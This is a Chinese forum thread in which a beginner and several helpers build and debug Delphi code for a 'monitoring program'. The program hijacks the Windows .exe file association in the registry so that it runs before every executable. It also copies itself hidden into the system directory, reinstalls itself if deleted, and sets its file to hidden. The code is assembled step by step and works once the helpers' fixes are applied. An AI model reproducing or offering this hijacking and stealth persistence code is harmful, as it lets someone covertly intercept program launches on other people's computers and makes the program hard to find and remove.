我做了一个监控程序,让它关联了exe文件
但启动之后就无法关机,无法注销,连控制面板也失效
对于关机,我想的是关机时截获关机消息,然后让它自己取消exe关联
以便关机,可关联exe的程序截获不到关机消息,也就无法关机了
注销应该和关机差不多,而控制面板更没法解决了
问题: 怎么解决关联exe文件后的关机、注销及控制面板等问题?
请各位高手出招指点!!谢谢!
由于分数限制,所以,我只好将220分分到三个帖子里
另外,要在98和win2000都能通过哦
请大家帮忙,谢谢!!!!

解决方案 »

  1.   

    就是你代码有问题的
    关联程序那会导致这个多问题呀?
    检查程序看看问题http://lysoft.7u7.net
      

  2.   

    就算是有程序在运行,一样可以关闭计算机的,
    你分析的关不了机的原因是以为关联了EXE应该是错误的,
    你需要具体描叙你的问题,最好是帖出代码。
      

  3.   

    怀疑是你把所有的消息都截获了,这样关机的消息就运行不下去了,控制面板也是这个问题
    你在收到关机消息后运行命令: rundll32.exe user.exe,exitwindows 
    功能: 强行关闭所有程序并关机。
    看这样行不行
      

  4.   

    简单代码如下:
    unit unit1;interfaceuses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, Registry,  ExtCtrls;type
      TForm1 = class(TForm)
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;var
      Form1: TForm1;
      sFileName:string;implementation{$R *.dfm}function GetWinDir: String;
    var
    Buf: array[0..MAX_PATH] of char;
    begin
    GetSystemDirectory(Buf, MAX_PATH);
    Result := Buf;
    if Result[Length(Result)]<>'\' then Result := Result + '\';
    end;
    procedure TForm1.FormCreate(Sender: TObject);
    const
      kK = '\exefile\shell\open\command';
    begin
    with TRegistry.Create do //写注册表,让程序跟文本文件关联
    try
    RootKey := HKEY_CLASSES_ROOT;
    OpenKey( kK, TRUE );
    WriteString( '', application.ExeName+' "%1" ');
    finally
    free;
    end;
    if FileExists(pchar(Getwindir+'sss.exe'))=false then//如果文件已经删除
    begin
    copyfile(pchar(application.exename), pchar(GetWindir + 'sss.exe'), False);//自定义拷贝资源文件过程
    winexec(pchar(Getwindir+'sss.exe'),sw_hide);
    end;
    if ParamCount>0 then begin
    sFileName:=ParamStr(1);
    winexec(pchar(sFileName),sw_show);
    end;end;end.
    我觉得确实是关联exe的问题
    请大家帮忙!
      

  5.   

    TO:pl5th2001(白牙)
         rundll32.exe user.exe,exitwindows 
    这一命令怎么运行,请告诉我一下,谢谢!
      

  6.   

    估计是你在处理参数时出了问题,很早以前我也写了一个关联exe的程序,参数处理没有做好,结果关机、注销及控制面板出现问题,看看你的参数个数是不是足够
      

  7.   

    To:gyf(无根草) 
       程序中怎么像“运行”里一样使用那些命令?
    我的最简程序就在上面,你看看有什么问题,我真是
    不知道怎么改了,先谢谢了!
      

  8.   

    if ParamCount>0 then begin
    sFileName:=ParamStr(1);
    winexec(pchar(sFileName),sw_show);
    应该是这里出了问题,这样只是运行了一个程序,没有打开后面的参数,如关机是rundll32.exe user.exe,exitwindows  这样写sFileName:=ParamStr(1);winexec(pchar(sFileName),sw_show);只是运行了一个rundll32.exe后面的没有运行
      

  9.   

    系统关机,重启等其他系统操作一般都是调用dll,一般都是好几个参数,所以要把ParamCount中的参数都加上才能正常运行
      

  10.   

    TO:gyf(无根草)
       是这样啊,好的,谢谢了,我再去试试
      

  11.   

    TO:gyf(无根草) 
       我将那两行代码改为:sFileName:=ParamStr(1);
    winexec(pchar('rundll32.exe user.exe,exitwindows'+sFileName),sw_show);
    可关机时提示:user.exe 出错 丢失项目exitwindowsC:\WINDOWS\rundll32.exe
    应该是我改得不正确吧,请问该怎么改呢??其实,尽管改错了,但却证明了你
    说得没错,终于有希望解决了,请你再帮我看看,改怎么改,再次谢过!!
      

  12.   

    TO:gyf(无根草) 
       郁闷,我明显改错了,这样改的话,每次运行exe文件都运行rundll32.exe user,exitwindows命令
    这是强行关机的命令吧??我又试了一下:截获到关机消息就执行rundll32.exe user.exe,exitwindows命令,可还是不行,还是请你帮我改一下吧,拜托了,谢谢!!
      

  13.   

    呵呵,楼主理解错我得意思了,我是说把代码这样改
    if ParamCount>0 then 
    for i:=1 to ParamCount - 1 do
    sFileName:=sFileName+ParamStr(i)+' ';
    winexec(pchar(sFileName),sw_show);
      

  14.   

    另外你的系统应该不是98,是2000或者xp,98这样写(rundll32.exe user.exe,exitwindows)可以关机,2000/xp不行,还要调整权限如果要截取关机消息的话,截取WM_ENDSESSION消息就可以了
      

  15.   

    TO:gyf(无根草) 
       我是在98下试验的,我在声明了过程:procedure winclose(var msg:Tmessage);message WM_QUERYENDSESSION;
    在{$R *.dfm}下增加过程:
    procedure TForm1.winclose(var msg: Tmessage);
    begin
      winexec(pchar('rundll32.exe user.exe,exitwindows'),sw_show);
    end;
    而且后面也作了如下改动:
    if ParamCount>0 then 
    for i:=1 to ParamCount - 1 do
    sFileName:=sFileName+ParamStr(i)+' ';
    winexec(pchar(sFileName),sw_show);
    可结果关机时还是没反应  
    请问这是怎么回事??
    另外,for i:=1 to ParamCount - 1 do
    sFileName:=sFileName+ParamStr(i)+' ';
    其作用是将所有参数都放到sFileName 里,并用空格分开吗?
    这样设置参数,是否可以不用另加截取关机消息的过程?
    sFileName里已包含参数rundll32.exe user.exe,exitwindows了吗?
    当关机时,winexec(pchar(sFileName),sw_show);会运行rundll32.exe user.exe,exitwindows吗?
    我的问题可能太可笑,请不要见笑,没法,刚学delphi不久,感觉自己想个白痴,什么都不懂,郁闷啊
    请你再帮忙解决,越详细越好,谢谢!!
      

  16.   

    另外,怎么调整2000/xp的权限,请具体说明
    我是想至少98、2000/xp下能执行,麻烦你了,谢谢!!!
      

  17.   

    刚刚又发现更恐怖的问题:作了上述修改后
    别的exe文件完全被我这程序代替了,并不是
    我的程序和别的程序一起运行,连注册表都进不了
      

  18.   

    可能你的程序有处理了什么消息了。。
    试试这个type
    .....
    public
        procedure WMQUERYENDSESSION(Var msg:Tmessage); Message WM_QUERYENDSESSION;
    end;
    ........procedure Tform1.WMQUERYENDSESSION(Var msg:Tmessage);
    begin
        msg.Result:=1;
    end;
      

  19.   

    TO:cnhgj(戏子) (一个人睡)
       刚试了几次,还是不行,请继续想想,谢谢!
      

  20.   

    ParamCount得到的参数总数应该是去除程序本身一个参数的总数。所以,应该从1开始循环,0就是程序本身的一个参数,在这里没有用。
    procedure TForm1.FormCreate(Sender: TObject);
    var A:string;
    I:longint;
    MyExe:string;
    begin
      for I := 1 to ParamCount do//应该从1开始,到ParamCount截止
        MyExe := MyExe +' ' + ParamStr(I) ;  WinExec(Pchar(TrimLeft(MyExe)),1);//注意最后要用TrimLeft去掉前导空格,否则失败!
    end;
    //这样你的问题估计就解决了!
      

  21.   

    To : Shikari(很久不来) 
       按你的指点,我又试了好几次,可结果还是关不了机
    不过有了一点变化:我的程序不再完全占用别的exe程序,他们可一起运行
    请再想想看,谢谢!!!
    尽管到目前为止,问题仍未得到解决,但是我一样很感谢各位朋友的帮助,请
    大家继续努力考虑,谢谢了!!!!
      

  22.   

    我又看了一下你上面的代码,我发现可能是你关联的问题,这样你的程序接受参数不完整,这样就导致了“丢失项目”等错误。
    HKEY_CLASSES_ROOT\exefile\shell\open\command
    在写键值的时候,你是这么写的:
    RootKey := HKEY_CLASSES_ROOT;
    OpenKey( kK, TRUE );
    WriteString( '', application.ExeName+' "%1" ');我认为应该这么写
    RootKey := HKEY_CLASSES_ROOT;
    OpenKey( kK, TRUE );
    WriteString( '', application.ExeName+' "%1"' + ' "%*"');
    也就是说,在command的命令行里,应该是类似于:"C:\windows\yourapp.exe" "%1" "%*"
    你的参数中少了一个 "%*"
    这样你的程序才能接受到完整的命令参数,而我也是这么做的,根本没有出现你所说的问题。
      

  23.   

    To:Shikari(很久不来) 
       现在可以了,感觉天空的乌云似乎散得差不多了:),只是我的程序有点大,影响别程序的启动速度,能不能使我的程序比别的exe后启动?那样就不容易感觉慢了,要不燃点一个‘属性’都要等半天也挺郁闷的,不管怎样,真是太感谢了!!果然是传说中的高手啊
    不知道在2000/xp下是否能通过,现在用的是98,回去用2000试试,假如2000/xp也可,那即可结帖了。 另外,请问怎么让程序只运行一次?我在本站查了些这方面的资料,可全不行,有的什么效果没有,有的是程序一次也运行不了,有一种方法,可防止二次运行,但我的监控程序在运行后不久就消失了,这就没法监控了,请耐心指点,谢谢了! 
       当然,不管最后一问是否解决,都可结帖,不会刁难大家的。能解决自然再好不过了,为发此三帖,我已倾其所有了
       先再次谢谢所有朋友的帮忙,请大家继续帮忙解答!Thanks!
      

  24.   

    我就是在XP Pro SP2下测试的。
    你的意思是让自己的程序只运行一个实例吗?如果是这样,你可以采用互斥对象,代码如下:
    在你的工程文件(也就是Project.dpr)下,uses部分别忘记加入Windows,SysUtils
    program Project1;uses
      Forms,Windows,SysUtils
      Unit1 in 'Unit1.pas' {Form1};{$R *.res}var
        I: integer;
        MyParam: string;
    begin
      for I := 1 to ParamCount do
        MyParam := MyParam + ' ' + ParamStr(I);//获取调用的参数  WinExec(Pchar(TrimLeft(MyParam)),1);//如果你不阻止该程序或者对该程序进行处理的话,
                                          //什么都别做,立即执行,避免你说的启动慢的问题  CreateMutex(nil,False,'MySelf');//MySelf是你的互斥名,你可以自己更改
      if GetLastError = ERROR_ALREADY_EXISTS then Exit;//如果自己的程序已经在运行那么就中止
                                                       //执行,而在这个时候
                                                       //其他程序你已经执行起来了,所以不会
                                                       //干扰其他程序执行
      Application.Initialize;//程序初始化,在初始化之前将别的程序启动起来
      Application.CreateForm(TForm1, Form1);
      Application.Run;
    end.至于你说的你的程序比较大,执行的比较慢,那也没有关系。我看你启动其他程序的代码是写在Form Create里的,这样显然要比写在我写的这个位置要慢的多,程序只要刚执行,就立刻先将其他程序启动起来,而这个时候自己的程序主FORM还没有创建,相比之下,应该是块很多。只这样还不够,如果真的想非常快速的话,建议你还是不要用FORM,或者尽量在程序里少用控件和代码,减小EXE的尺寸(切不可用加壳软件压缩)可以扩展成DLL,然后调用。BTW:分数不重要,大家能够互相帮助才是最重要的!
      

  25.   

    To : Shikari(很久不来) 
       想不说谢谢你都不行了,看你这么详细的解说,我有信心多了,xp下可以啊,那就太好了,就差2000没试了,呵呵,我差点就要放弃了,连点击‘属性’都要那么久的反映时间,想起来就头疼,还好有你相助,我再去试试
       BTW:说得对,大家互相帮助才是重要的!真希望和你交个朋友!
      

  26.   

    To : Shikari(很久不来) 
       98下,经多次测试,终于成功,工作的效果很好,就想你说的那样:不再干扰别的程序
    不过测试过程中出现了一个莫名其妙的错误:当第一个exe运行时,正常,而当再运行一个
    时就出现提示,说没足够内存运行该程序,有一次还提示说系统资源不足,注销之后也一样
    可当我重起之后就什么问题也没了(程序编译时提示大概是‘..call os ..failed...',以前也遇到过类似错误,重起就好了,可这次,第一次重起出现那么多问题,第二第三次重起就一切正常了)真是搞不懂啊
       另外,还有一点问题:我的程序有以下语句
    var 
      myname: string;
    begin
      myname := ExtractFilename(Application.Exename); //获得文件名
      if application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么..
      begin
        copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到    Windows\System\下}
        Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件
        application.Terminate;//退出
      end;
    end;
    我想你能看懂我的目的,由于采用的互斥,导致\system\下的新文件无法运行,同时本程序因执行application.Terminate而退出,结果二者均不运行
    请再帮我想想,谢谢!:)
      

  27.   

    第一个问题:估计是你的程序的事情,仔细检查不合理的地方。
    第二个问题:有几种做法,你可以在你程序里写注册表关联的时候,将WINDIR路径下的程序写到注册表,然后将程序拷贝到WINDIR,然后你当然可以退出了,当用户运行EXE文件的时候,你的WINDIR程序自动就运行了,根本就不用你干预。
    或者你可以在你自己程序启动的时候加一个参数,类似于“C:\windows\system32\youapp.exe /new”,这样当你程序接受到这个参数后,就不执行互斥语句,就可以启动了,总之方法多多,你可以再扩展的想一想。
      

  28.   

    To : Shikari(很久不来) 
       想了想,有点似懂非懂的感觉,‘将WINDIR路径下的程序写到注册,然后将程序拷贝到WINDIR’,这是怎么实现?没看懂啊,这对你来说是太简单了,可对我这初学者来说就有些糊涂了,理不清思路了
      ‘程序启动的时候加一个参数,类似于“C:\windows\system32\youapp.exe /new”’你的意思是不是说给程序的某个过程定一个参数?比如说本程序的是0,而我程序中那个拷贝过程参数为另外某个值。想了想又有点像是说:设置一个参数,这个参数表示程序的执行是因本程序内部发出的命令而不是由关联别的程序引起的二次运行。总之是不懂啊,请详细解答一下,最好能给个例子,这么麻烦你真不好意思啊,再次谢谢你了
      对了,程序中有段代码:
    if FileExists(pchar(Getwindir+'sss.exe'))=false then//如果文件已经删除
    begin
    copyfile(pchar(application.exename), pchar(GetWindir + 'sss.exe'), False);//自定义拷贝资源文件过程
    winexec(pchar(Getwindir+'sss.exe'),sw_hide);
    end;
    感觉这段代码没起什么作用,好象与我前面提到的那个拷贝过程功能一样
    这段代码本应该是:假如我的程序被删除了,就拷贝一个到指定位置,可是既然全都删除了,又该去哪拷啊,语句‘copyfile(pchar(application.exename), pchar(GetWindir + 'sss.exe'), False);’应该是写错了,我该怎么写呢?先问这么多吧,请指点,谢谢!!!
      

  29.   

    终于找到这类帖了,可惜问题好象还没解决
    关注ing
      

  30.   

    问: 想了想,有点似懂非懂的感觉,‘将WINDIR路径下的程序写到注册,然后将程序拷贝到WINDIR’,这是怎么实现?没看懂啊,这对你来说是太简单了,可对我这初学者来说就有些糊涂了,理不清思路了。
    答:例如你程序在任意路径(D:\),当运行你程序的时候,就将自身复制到C:\windows\system32\YouApp.exe,然后将注册表中exe文件关联到C:\windows\system32\YouApp.exe。这样,一旦有任意EXE运行,你的程序自动就被加载了,所以你D:\的程序及时丢失了也没有关系。问:‘程序启动的时候加一个参数,类似于“C:\windows\system32\youapp.exe /new”’你的意思是不是说给程序的某个过程定一个参数?比如说本程序的是0,而我程序中那个拷贝过程参数为另外某个值。想了想又有点像是说:设置一个参数,这个参数表示程序的执行是因本程序内部发出的命令而不是由关联别的程序引起的二次运行。
    答:因为你使用了互斥,那么你的程序只能运行一个实例。避免这样的现象可以启动的时候传递给C:\windows\system32\YouApp.exe一个参数,类似于YouApp.exe /New,你在程序中判断,如果接收到New这个参数,那么不执行互斥,所以你的程序就能运行起来,而你调用的程序此时也可以中止了,明白了吗?问:if FileExists(pchar(Getwindir+'sss.exe'))=false then//如果文件已经删除
    begin
    copyfile(pchar(application.exename), pchar(GetWindir + 'sss.exe'), False);//自定义拷贝资源文件过程
    winexec(pchar(Getwindir+'sss.exe'),sw_hide);
    end;
    感觉这段代码没起什么作用,好象与我前面提到的那个拷贝过程功能一样
    这段代码本应该是:假如我的程序被删除了,就拷贝一个到指定位置,可是既然全都删除了,又该去哪拷啊,语句‘copyfile(pchar(application.exename), pchar(GetWindir + 'sss.exe'), False);’应该是写错了,我该怎么写呢?先问这么多吧,请指点,谢谢!!!
    答:这段代码是当System32\YuoApp.exe被删除后,如果该程序在其他地方被运行了,那么自动会拷贝本身到System32下,这样总是保证系统目录下有你的程序存在。不过,我判断执行该代码的程序一定是驻留在后台的,或者在某一个条件下会执行的。感觉你的思路比较混乱,理清头绪后这些问题相信你能想明白。
      

  31.   

    To :Shikari(很久不来) 
       是啊,我也觉得我的思路太乱了,糊里糊涂的,对很多函数啊什么的只大概知道其最终作用,不清楚其实现的原理,谢谢你这么久以来的耐心指点!现在已可以运行了!
    对了,程序中怎么控制生成exe文件的属性?比如我想让它置于隐藏状态,该怎么实现?
    我的问题已提的太多了,你不觉得烦,我也觉得不好意思了,所以最后一问难的话就先不解了。
    总之很感谢你!
      

  32.   

    隐藏文件:
    SetFileAttributes('C:\ok.txt',FILE_ATTRIBUTE_HIDDEN);
      

  33.   

    To:Shikari(很久不来) 
       你真的好厉害啊,有的网站给;  一大段代码都没解决的问题(太多又没注释,看不懂),你一句就ok了,谢谢你!!祝你天天交好运!一切顺利!!
      

  34.   

    To:Shikari(很久不来) 
       呵呵,不要客气,该我说谢谢的!再次祝你好运!马上结帖了:)
      

  35.   

    To:Shikari(很久不来) 
       请到标题为‘@@@ 220 分@@@ 请教一个问题!! ’那里回一帖,要不我不好给分
    等着你哦
      

  36.   

    三帖最终得分记录: 
     gyf (20)、
     bee2518 (5)、 aiirii (5)、 ly_liuyang (3)、 pressman (3)、 tongyuja (3)、 extcsdn (1)、 smilelhh (1)、 Shikari (170)、 tongyuja (1)、 longtusoft (1)、 nisazhixin (1)、  
    zwb666 (1)、 cnhgj (4)、 psp2003 (1)、 
    由于分数分散在三个帖子,分配不易,这一帖回帖的多,可只有20分,所以没得分的不要介意,分得到少的也不要在意,
    在此感谢所有朋友的帮忙
    尤其是gyf和Shikari,谢谢你们!